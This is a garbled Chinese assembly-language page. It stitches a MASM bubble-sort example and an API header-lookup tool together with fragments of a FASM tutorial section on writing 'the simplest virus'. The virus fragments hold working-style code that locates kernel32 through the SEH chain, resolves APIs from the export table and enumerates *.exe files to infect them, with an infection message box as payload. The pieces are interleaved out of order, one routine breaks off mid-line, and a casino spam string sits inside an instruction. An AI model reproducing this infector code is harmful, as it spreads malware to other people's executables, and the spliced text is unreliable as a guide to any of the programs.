;调用冒泡排序函数的例子程序
;作者:ONEPROBLEM
;========================
  .386
  .model flat,stdcall
  option casemap:none

我在学习汇编的时候,往往在读别人的程序,或者是在认识了新API函数的时候,不清楚这个函数在那个头文件和导入库中,于是,就写了个小程序.

9、实现一个最简单的病毒 
———————– 
在这一节,我们来看一个最简单的病毒,一个search+infect+payload的direct action病毒 😛 
嗯…有什么好解释的呢?似乎过于简单了,我们还是直接看代码吧: 
format  PE GUI 4.0 
entry   _vStart 
include ‘useful.inc’ 

include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib

程序记录如下:

virtual at esi 
    vMZ_esi     IMAGE_DOS_HEADER 
end virtual 
virtual at esi 
    vFH_esi     IMAGE_FILE_HEADER 
end virtual 
virtual at esi 
    vOH_esi     IMAGE_OPTIONAL_HEADER 
end virtual 

  .data
Array  dd 20,30,50,80,100,105
Buffer  dd 256 dup (?)
szCaption db ‘提示’,0
szText  db ‘结果是:%d,%d,%d,%d,%d,%d’,0

;=========API函数头文件查询器====================
;程序功能:给定函数名称,查找该函数在D:masm32INCLUDE
;目录中所在的头文件.返回头文件名称.
;使用编译器:MASMPlus
;作者:ONEPROBLEM  QQ:962361395
;时期:2009年02月07日
;================================================
  .386
  .model flat,stdcall
  option casemap:none

.coderwe 
_vStart: 
            call    delta 
delta:      pop     ebp 
            call    _get_krnl 
            or      edi,edi 
            jz      jmp_host 
            xchg    edi,edx 
            lea     esi,[ebp+api_namez-delta] 
            lea     edi,[ebp+api_addrz-delta] 
get_apiz:   call    _get_apiz 
            or      eax,eax 
            jz      apiz_end 
            stosd 
            jmp     get_apiz 
            wfd     WIN32_FIND_DATA 
apiz_end: 
            cmp     ebp,delta                   ; is this the origin virus? 
            jz      infect_filez 
            @pushsz ‘user32.dll’ 
            call    [ebp+__addr_LoadLibraryA-delta] 
            or      eax,eax 
            jz      jmp_host 
            xchg    eax,edx 
            @pushsz ‘MessageBoxA’ 
            pop     esi 
            call    _get_apiz 
            xor     esi,esi 
            @call   eax,esi,’This file has been infected… :P’,’win32.flu’,esi 
            call    infect_filez 
            jmp     jmp_host 
infect_filez: 
            lea     eax,[澳门新葡萄京官网注册 ,ebp+wfd-delta] 
            push    eax 
            @pushsz ‘*.exe’ 
            call    [ebp+__addr_FindFirstFileA-delta] 
            inc     eax 
            jz      jmp_host 
            dec     eax 
            mov     dword [ebp+hFindFile-delta],eax 
next_file:  lea     esi,[ebp+wfd.WFD_szFileName-delta] 
            call    _infect_file 
            lea     eax,[ebp+wfd-delta] 
            push    eax 
            push    12345678h 
    hFindFile = $-4 
            call    [ebp+__addr_FindNextFileA-delta] 
            or      eax,eax 
            jnz     next_file 
            push    dword [hFindFile] 
            call    [ebp+__addr_FindClose-delta] 
            ret 

  .code
_BubblingSort proc _lpData,_dwCount,_dwOption
 local @dwCount
 
 pushad
 mov edi,1
 .while edi < _dwCount
  mov esi,_lpData
  mov eax,_dwCount
  mov @dwCount,eax
  sub @dwCount,edi
  mov ebx,1
  .while ebx <= @dwCount
   mov eax,[esi]
   .if eax<[esi+4] && _dwOption==0
    jmp next
   .elseif eax>[esi+4] && _dwOption==0
    jmp continue
   .elseif eax<[esi+4] && _dwOption!=0
    jmp continue
   .elseif eax>[esi+4] && _dwOption!=0
    jmp next
   .endif
   continue:
   mov eax,[esi]
   mov edx,[esi+4]
   mov [esi],edx
   mov [esi+4],eax 
   next:
   add esi,4
   inc ebx
  .endw
  inc edi
 .endw
 popad
 ret
_BubblingSort endp
start:
 lea edx,Array
 invoke _BubblingSort,edx,6,-1  ;这第三个参数是非0,由大到小排序
 lea edx,Array
 mov eax,[edx]
 mov ecx,[edx+4]
 mov ebx,[edx+8]
 mov esi,[edx+12]
 mov edi,[edx+16]
 mov ebp,[edx+20]
 invoke wsprintf,addr Buffer,addr szText,eax,ecx,ebx,esi,edi,ebp
 invoke MessageBox,NULL,addr Buffer,addr szCaption,MB_OK
 invoke ExitProcess,NULL
 end start
;==============================================

IDD_DIALOG1 equ 1
IDC_EDIT equ 100
ICO_MAIN equ 1
IDC_STATICA equ 200

; get kernel32.dll image base… 
_get_krnl: 
            @SEH_SetupFrame <jmp seh_handler> 
            mov     esi,[fs:0] 
visit_seh:  lodsd 
            inc     eax 
            jz      in_krnl 
            dec     eax 
            xchg    esi,eax 
            jmp     visit_seh 
in_krnl:    lodsd 
            xchg    eax,edi 
            and     edi,0ffff0000h          ; base address must be aligned by 1000h 
krnl_search: 
            cmp     word [edi],’MZ’         ; ‘MZ’ signature? 
            jnz     not_pe                  ; it’s not a PE, continue searching 
            lea     esi,[edi+3ch]           ; point to e_lfanew 
            lodsd                           ; get e_lfanew 
            test    eax,0fffff000h          ; DOS header+DOS stub mustn’t > 4k 
            jnz     not_pe                  ; it’s not a PE, continue searching 
            add     eax,edi                 ; point to IMAGE_NT_HEADER 
            cmp     word [eax],’PE’         ; ‘PE’ signature? 
            jnz     not_pe                  ; it’s not a PE, continue searching 
            jmp     krnl_found 
not_pe:     dec     edi 
            xor     di,di                   ; decrease 4k bytes 
            cmp     edi,70000000h           ; the base cannot below 70000000h 
            jnb     krnl_search 
seh_handler: 
            xor     edi,edi                 ; base not found 
krnl_found: 
            @SEH_RemoveFrame 
            ret 

include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib

; get apiz using in virus codez… 
_get_apiz: 
            pushad 
            xor     eax,eax 
            cmp     byte [esi],0 
            jz      ret_value 
            or      edx,edx                 ; module image base valid? 
            jz      return 
            mov     ebx,edx                 ; save module image base for 
                                            ; later use 
            push    esi                     ; save API name 
            xchg    esi,edi 
            xor     ecx,ecx 
            xor     al,al 
            dec     ecx 
            repnz   scasb 
            neg     ecx 
            dec     ecx 
            push    ecx                     ; save length of the API name 
            mov     dword [vPushad_ptr.Pushad_esi+08h],edi 
            lea     edi,[edx+3ch] 
            add     edx,dword [edi]         ; edx points to IMAGE_NT_HEADER 
            push    edx                     ; save IMAGE_NT_HEADER 
            mov     edi,dword [edx+78h]     ; edi has the RVA of export table 
            add     edi,ebx                 ; edi points to export table 
            push    edi                     ; save address of export table 
            lea     esi,[edi+18h] 
            lodsd                           ; eax get NumberOfNames 
            push    eax                     ; save NumberOfNames 
            mov     esi,[edi+20h] 
            add     esi,ebx                 ; now points to name RVA table 
            xor     edx,edx 
match_api_name: 
            lodsd 
            add     eax,ebx 
            xchg    eax,edi                 ; get a API name 
            xchg    esi,eax 
            mov     ecx,dword [esp+0ch]     ; length of API name 
            mov     esi,dword [esp+10h]     ; API name buffer 
            repz    cmpsb 
            jz      api_name_found 
            xchg    esi,eax 
            inc     edx 
            cmp     edx,dword [esp] 
            jz      api_not_found 
            jmp     match_api_name 
api_not_found: 
            xor     eax,eax 
            xor     edi,edi 
            jmp     return 
api_name_found: 
            shl     edx,1 
            mov     esi,[esp+04h]           ; export table address 
            mov     eax,[esi+24h] 
            add     eax,ebx                 ; ordinal table 
            movzx   edx,word [eax+edx] 
            shl     edx,2 
            mov     eax,[esi+1ch] 
            add     eax,ebx                 ; function address table 
            mov     eax,[eax+edx] 
            add     eax,ebx                 ; found!!! 
return:     add     esp,14h 
ret_value:  mov     [vPushad_ptr.Pushad_eax],eax 
            popad 
    &n

  .data?
hInstance dd ?
stFindFileData WIN32_FIND_DATA <>
hFindFile dd ?
szBuffer db 256  dup (?)
szBuffer1 db 256  dup (?)
szBuffer2 db 256  dup (?)
  .data
szFindFile db ‘D:masm32INCLUDE*.inc’,0
szFileName db ‘d:masm32include’,0
szCaption db ‘提示’,0
szText  db ‘对不起,没有查询到对应的头文件!’,0
szReturn db 0dh,0ah,0

  .code
;=================字符串匹配函数=================
_Index  proc _szSource,_dwSourceSize,_szTarget,_dwTargetSize
  local @TrueOrFalse
  
  pushad
  mov esi,_szSource
  mov edi,_szTarget
  
  xor ecx,ecx
  xor edx,edx
  .while ecx < _dwSourceSize && edx < _dwTargetSize
   mov al,[esi+ecx]  ;全都转换成大写,再进行比较
   and al,11011111B
   mov ah,[edi+edx]
   and ah,11011111B
   cmp al,ah
   .if ZERO?
    inc ecx
    inc edx
   .else
    sub ecx,edx
    inc ecx
    xor edx,edx
   .endif
  .endw
  .if edx == _dwTargetSize
   mov @TrueOrFalse,1 ;在此也可返回查询到的位置值
  .else
   mov @TrueOrFalse,-1
  .endif
  popad
  mov eax,@TrueOrFalse
  ret
_Index  endp
;=================建立文件映射函数===============
_ProcFile proc _szFileName
  local @hFile,@hFileMap,@lpMemory,@dwFileSize
  local @dwszSize
  local @TrueOrFalse
  
  pushad
  xor eax,eax
  mov @TrueOrFalse,eax  ;预先置0,当没有输入时返回0
  invoke CreateFile,_szFileName,GENERIC_READ,FILE_SHARE_READ,
   0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
  .if eax == INVALID_HANDLE_VALUE
   ret
  .endif
  mov @hFile,eax
  invoke GetFileSize,@hFile,NULL
  mov @dwFileSize,eax
  
  invoke CreateFileMapping,@hFile,NULL,PAGE_READONLY,0,0,NULL
  .if ! eax
   jmp _Ret1
  .endif
  mov @hFileMap,eax
  invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0
  .if ! eax
   jmp _Ret2
  .endif
  mov @lpMemory,eax
  invoke lstrlen,addr szBuffer
  .if eax
   invoke lstrcpy,addr szBuffer2,addr szReturn ;在函数名称前面
   invoke lstrcat,addr szBuffer2,addr szBuffer ;加上回车及换行
   invoke lstrlen,addr szBuffer2   ;因为函数名称都
   mov @dwszSize,eax    ;在每行的开头
   lea edi,szBuffer2
   mov dl,20h
   mov [edi+eax],dl  ;在函数名称后面添加一个空格
   inc @dwszSize
   invoke _Index,@lpMemory,@dwFileSize,addr szBuffer2,@dwszSize
   .if eax == -1
    mov @TrueOrFalse,0
   .else
    mov @TrueOrFalse,1
   .endif
  .endif
  invoke UnmapViewOfFile,@lpMemory
 _Ret2:
  invoke CloseHandle,@hFileMap
 _Ret1:
  invoke CloseHandle,@hFile
  
  popad
  mov eax,@TrueOrFalse
  ret
_ProcFile endp
;================查找文件函数====================
_FindFile proc _hWnd

  invoke FindFirstFile,addr szFindFile,addr stFindFileData
  .if eax != INVALID_HANDLE_VALUE
   mov hFindFile,eax
   .repeat
    invoke RtlZeroMemory,addr szBuffer1,sizeof szBuffer1
    invoke lstrcpy,addr szBuffer1,addr szFileName
    invoke lstrcat,addr szBuffer1,addr stFindFileData.cFileName
    invoke _ProcFile,addr szBuffer1
    .if eax  ;已找到则跳出循环
     invoke SetDlgItemText,_hWnd,IDC_STATICA,
      addr szBuffer1
     jmp @F
    .endif
    invoke FindNextFile,hFindFile,addr stFindFileData
   .until eax == FALSE
   invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK
   @@:
   invoke FindClose,hFindFile
  .endif
  ret  ;呵呵,少了这句,程序就
    ;跳出”0x0012fb0e”指令引用的”0x00000000″内存.该内存不能为”read”.
_FindFile endp
;=====================对话框过程=================
_ProcDlgMain proc uses ebx edi esi,hWnd,wMsg,wParam,lParam
  mov eax,wMsg
  .if eax == WM_CLOSE
   invoke EndDialog,hWnd,NULL
  
  .elseif eax == WM_CHAR
   mov eax,wParam
   .if eax == 0dh
    invoke SendMessage,hWnd,WM_COMMAND,IDOK,0
   .endif
   
  .elseif eax == WM_INITDIALOG
   invoke LoadIcon,hInstance,ICO_MAIN
   invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
   
  .elseif eax == WM_COMMAND
   mov eax,wParam
   .if ax == IDC_EDIT
    invoke GetDlgItemText,hWnd,IDC_EDIT,
     addr szBuffer,sizeof szBuffer
   .elseif ax == IDOK
    invoke _FindFile,hWnd
   .endif
  .else
   mov eax,FALSE
   ret
  .endif
  mov eax,TRUE
  ret
  
_ProcDlgMain endp
;===============主程序===========================
start:
  invoke GetModuleHandle,NULL
  mov hInstance,eax
  invoke DialogBoxParam,hInstance,IDD_DIALOG1,NULL,offset
_ProcDlgMain,NULL
  invoke ExitProcess,NULL
  
  end start
;================================================
;注:RC文件略.